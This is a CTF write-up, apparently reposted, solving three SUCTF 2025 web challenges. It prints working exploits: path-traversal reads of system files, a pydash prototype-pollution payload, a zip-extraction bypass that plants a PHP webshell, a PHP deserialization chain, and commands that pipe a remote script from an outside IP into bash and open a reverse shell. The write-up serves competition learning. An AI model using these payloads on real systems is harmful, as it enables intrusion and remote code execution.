当前位置: 首页 > article >正文

【Web】2025-SUCTF个人wp

目录

SU_blog

SU_photogallery

SU_POP


SU_blog

先是注册功能覆盖admin账号

以admin身份登录,拿到读文件的权限

./article?file=articles/..././..././..././..././..././..././etc/passwd

./article?file=articles/..././..././..././..././..././..././proc/1/cmdline

./article?file=articles/..././app.py

 读到源码

from flask import *
import time, os, json, hashlib
from pydash import set_
from waf import pwaf, cwaf

app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()

users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'
articles = {
    1: "articles/article1.txt",
    2: "articles/article2.txt",
    3: "articles/article3.txt"
}
friend_links = [
    {"name": "bkf1sh", "url": "https://ctf.org.cn/"},
    {"name": "fushuling", "url": "https://fushuling.com/"},
    {"name": "yulate", "url": "https://www.yulate.com/"},
    {"name": "zimablue", "url": "https://www.zimablue.life/"},
    {"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]

class User():
    def __init__(self):
        pass

user_data = User()

@app.route('/')
def index():
    if 'username' in session:
        return render_template('blog.html', articles=articles, friend_links=friend_links)
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and users[username] == password:
            session['username'] = username
            return redirect(url_for('index'))
        else:
            return "Invalid credentials", 403
    return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        users[username] = password
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/change_password', methods=['GET', 'POST'])
def change_password():
    if 'username' not in session:
        return redirect(url_for('login'))
    if request.method == 'POST':
        old_password = request.form['old_password']
        new_password = request.form['new_password']
        confirm_password = request.form['confirm_password']
        if users[session['username']] != old_password:
            flash("Old password is incorrect", "error")
        elif new_password != confirm_password:
            flash("New passwords do not match", "error")
        else:
            users[session['username']] = new_password
            flash("Password changed successfully", "success")
            return redirect(url_for('index'))
    return render_template('change_password.html')

@app.route('/friendlinks')
def friendlinks():
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))
    return render_template('friendlinks.html', links=friend_links)

@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))
    name = request.form.get('name')
    url = request.form.get('url')
    if name and url:
        friend_links.append({"name": name, "url": url})
    return redirect(url_for('friendlinks'))

@app.route('/delete_friendlink/')
def delete_friendlink(index):
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))
    if 0 <= index < len(friend_links):
        del friend_links[index]
    return redirect(url_for('friendlinks'))

@app.route('/article')
def article():
    if 'username' not in session:
        return redirect(url_for('login'))
    file_name = request.args.get('file', '')
    if not file_name:
        return render_template('article.html', file_name='', content="未提供文件名。")
    
    blacklist = ["waf.py"]
    if any(blacklisted_file in file_name for blacklisted_file in blacklist):
        return render_template('article.html', file_name=file_name, content="大黑阔不许看")
    
    if not file_name.startswith('articles/'):
        return render_template('article.html', file_name=file_name, content="无效的文件路径。")
    
    if file_name not in articles.values():
        if session.get('username') != 'admin':
            return render_template('article.html', file_name=file_name, content="无权访问该文件。")
    
    file_path = os.path.join(BASE_DIR, file_name)
    file_path = file_path.replace('../', '')
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
    except FileNotFoundError:
        content = "文件未找到。"
    except Exception as e:
        app.logger.error(f"Error reading file {file_path}: {e}")
        content = "读取文件时发生错误。"
    
    return render_template('article.html', file_name=file_name, content=content)

@app.route('/Admin', methods=['GET', 'POST'])
def admin():
    if request.args.get('pass') != "SUers":
        return "nonono"
    
    if request.method == 'POST':
        try:
            body = request.json
            if not body:
                flash("No JSON data received", "error")
                return jsonify({"message": "No JSON data received"}), 400
            
            key = body.get('key')
            value = body.get('value')
            if key is None or value is None:
                flash("Missing required keys: 'key' or 'value'", "error")
                return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400

            # Additional logic to handle key-value pairs can be added here.
        except Exception as e:
            flash(f"Error: {str(e)}", "error")
            return jsonify({"message": f"Error: {str(e)}"}), 500

    return render_template('admin.html')

/Admin路由一眼打pydash原型链污染

 污染什么呢,可以污染render_template

参考CTFtime.org / idekCTF 2022* / task manager / Writeup

打入

{"key":"__class__.__init__.__globals__.__builtins__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;__import__('os').system('curl http://27.25.151.98:1338/shell.sh | bash');#"}

放个恶意shell文件到vps上

bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"

随便访问渲染模板的页面,成功反弹shell 

SU_photogallery

结合“测试”的提示&404特征辨别题目服务是php -S启动的

存在一个任意文件读取漏洞

PHP Development Server <= 7.4.21 - Remote Source Disclosure — ProjectDiscovery Blog

去读一下unzip.php

bp把自动更新长度关掉

 

<?php
/*
 * @Author: Nbc
 * @Date: 2025-01-13 16:13:46
 * @LastEditors: Nbc
 * @LastEditTime: 2025-01-13 16:31:53
 * @FilePath: \src\unzip.php
 * @Description: 
 * 
 * Copyright (c) 2025 by Nbc, All Rights Reserved. 
 */
error_reporting(0);

function get_extension($filename){
    return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
    $filePath = $path . DIRECTORY_SEPARATOR . $filename;
    
    if (is_file($filePath)) {
        $extension = strtolower(get_extension($filename));

        if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
            if (!unlink($filePath)) {
                // echo "Fail to delete file: $filename\n";
                return false;
                }
            else{
                // echo "This file format is not supported:$extension\n";
                return false;
                }
    
        }
        else{
            return true;
            }
}
else{
    // echo "nofile";
    return false;
}
}
function file_rename ($path,$file){
    $randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
                $oldPath = $path . DIRECTORY_SEPARATOR . $file;
                $newPath = $path . DIRECTORY_SEPARATOR . $randomName;

                if (!rename($oldPath, $newPath)) {
                    unlink($path . DIRECTORY_SEPARATOR . $file);
                    // echo "Fail to rename file: $file\n";
                    return false;
                }
                else{
                    return true;
                }
}

function move_file($path,$basePath){
    foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
        $destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
        if (!rename($file, $destination)){
            // echo "Fail to rename file: $file\n";
            return false;
        }
      
    }
    return true;
}


function check_base($fileContent){
    $keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
    $base64_keywords = [];
    foreach ($keywords as $keyword) {
        $base64_keywords[] = base64_encode($keyword);
    }
    foreach ($base64_keywords as $base64_keyword) {
        if (strpos($fileContent, $base64_keyword)!== false) {
            return true;

        }
        else{
           return false;

        }
    }
}

function check_content($zip){
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $fileInfo = $zip->statIndex($i);
        $fileName = $fileInfo['name'];
        if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
            return false; 
        }
            // echo "Checking file: $fileName\n";
            $fileContent = $zip->getFromName($fileName);
            

            if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
                // echo "Don't hack me!\n";    
                return false;
            }
            else {
                continue;
            }
        }
    return true;
}

function unzip($zipname, $basePath) {
    $zip = new ZipArchive;

    if (!file_exists($zipname)) {
        // echo "Zip file does not exist";
        return "zip_not_found";
    }
    if (!$zip->open($zipname)) {
        // echo "Fail to open zip file";
        return "zip_open_failed";
    }
    if (!check_content($zip)) {
        return "malicious_content_detected";
    }
    $randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
    $path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
    if (!mkdir($path, 0777, true)) {
        // echo "Fail to create directory";
        $zip->close();
        return "mkdir_failed";
    }
    if (!$zip->extractTo($path)) {
        // echo "Fail to extract zip file";
        $zip->close();
    }
    else{
        for ($i = 0; $i < $zip->numFiles; $i++) {
            $fileInfo = $zip->statIndex($i);
            $fileName = $fileInfo['name'];
            if (!check_extension($fileName, $path)) {
                // echo "Unsupported file extension";
                continue;
            }
            if (!file_rename($path, $fileName)) {
                // echo "File rename failed";
                continue;
            }
        }
    }

    if (!move_file($path, $basePath)) {
        $zip->close();
        // echo "Fail to move file";
        return "move_failed";
    }
    rmdir($path);
    $zip->close();
    return true;
}


$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $uploadedFile = $_FILES['file'];
    $zipname = $uploadedFile['tmp_name'];
    $path = $uploadDir;

    $result = unzip($zipname, $path);
    if ($result === true) {
        header("Location: index.html?status=success");
        exit();
    } else {
        header("Location: index.html?status=$result");
        exit();
    }
} else {
    header("Location: index.html?status=file_error");
    exit();
}

注意到这段代码

因为是先解压再检验文件后缀,所以可以用解压失败来绕过

zip在CTF-web方向中的一些用法 - 个人学习分享

用这段脚本生成恶意zip文件

import zipfile
import io

# 创建一个 BytesIO 对象来存储压缩文件内容
mf = io.BytesIO()

# 使用 zipfile 创建一个 ZIP 文件
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
    # 向 ZIP 文件中写入恶意 PHP 文件
    zf.writestr('exp.php', b'<?php ($_GET[1])($_POST[2]);?>')
    # 向 ZIP 文件中写入一个文件名为 'A' * 5000 的文件,内容为 'AAAAA'
    zf.writestr('A' * 5000, b'AAAAA')

# 将生成的 ZIP 文件写入磁盘
with open("shell.zip", "wb") as f:
    f.write(mf.getvalue())

 上传成功

 访问RCE

SU_POP

看到反序列化入口

 

先是找入口点,全局搜__destruct,看到RejectedPromise这个类对handler、reason可控,可以拼接message触发__toString

再找sink,全局搜eval(

找到一个比较干净的触发eval的类

 再全局搜__toString

stream可控,可以触发__call

全局搜__call

 

从_methodMap中取一组数据,配合_loaded,可以调用任意类的任意方法,最后走到sink

链子

RejectedPromise#__destruct -> Response#__toString -> Table#__call ->BehaviorRegistry#call -> MockClass#generate 

 exp:

<?php
namespace PHPUnit\Framework\MockObject\Generator;

class MockClass
{
    public $classCode;
    public $mockName;
    public function __construct() {
        $this->classCode ="system('curl http://27.25.151.98:1338/shell.sh | bash');";
        $this->mockName = "Z3r4y";
    }
}

namespace Cake\ORM;

use PHPUnit\Framework\MockObject\Generator\MockClass;

class BehaviorRegistry
{
    public $_methodMap;
    public $_loaded;

    public function __construct() {
        $this->_methodMap = ["rewind" => ["Z3r4y", "generate"]];
        $this->_loaded = ["Z3r4y" => new MockClass()];
    }
}

class Table
{
    public $_behaviors;
    public function __construct() {
        $this->_behaviors = new BehaviorRegistry();
    }
}

namespace Cake\Http;

use Cake\ORM\Table;

class Response
{
    public $stream;
    public function __construct() {
        $this->stream = new Table();
    }
}

namespace React\Promise\Internal;

use Cake\Http\Response;

final class RejectedPromise
{
    public $reason;
    public function __construct() {
        $this->reason = new Response();
    }
}

$a=new RejectedPromise();
echo base64_encode(serialize($a));

 

往vps上放一个恶意shell脚本

bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"

打入:

成功弹上shell

 

find提权拿flag 

 


http://www.kler.cn/a/511303.html

相关文章:

  • python(25) : 含有大模型生成的公式的文本渲染成图片并生成word文档(支持flask接口调用)
  • flutter 装饰类【BoxDecoration】
  • Java并发编程:线程安全的策略与实践
  • 接口防篡改+防重放攻击
  • mysql8.0 重要指标参数介绍
  • pytest-instafail:让测试失败信息即时反馈
  • SpringBoot+Vue小区智享物业管理系统(高质量源码,可定制,提供文档,免费部署到本地)
  • Spring Boot 整合 Redis:提升应用性能的利器
  • Json学习与实践
  • 开发模式(webpack-dev-server)
  • C语言之字符函数和字符串函数(下)
  • 如何使用 Pytest 断言测试 Python 异常处理
  • 计算机网络 (51)鉴别
  • Mysql 主从复制原理及其工作过程,配置一主两从实验
  • LeetCode热题100(子串篇)
  • CesiumLab和CIMRTS的尝试融合
  • 学技术学英语:TCP的三次握手和四次挥手
  • 基于PSO粒子群优化TCN时间卷积神经网络时间序列预测算法matlab仿真
  • 代码随想录26
  • OpenCV相机标定与3D重建(60)用于立体校正的函数stereoRectify()的使用
  • 51c自动驾驶~合集48
  • 设计模式:责任链模式——行为型模式
  • 【从零开始入门unity游戏开发之——C#篇46】C#补充知识点——命名参数和可选参数
  • Markdown学习笔记(2)
  • C# 控制打印机:从入门到实践
  • 胶质母细胞瘤浸润的个性化预测:数学模型、物理信息神经网络和多模态扫描|文献速递-视觉大模型医疗图像应用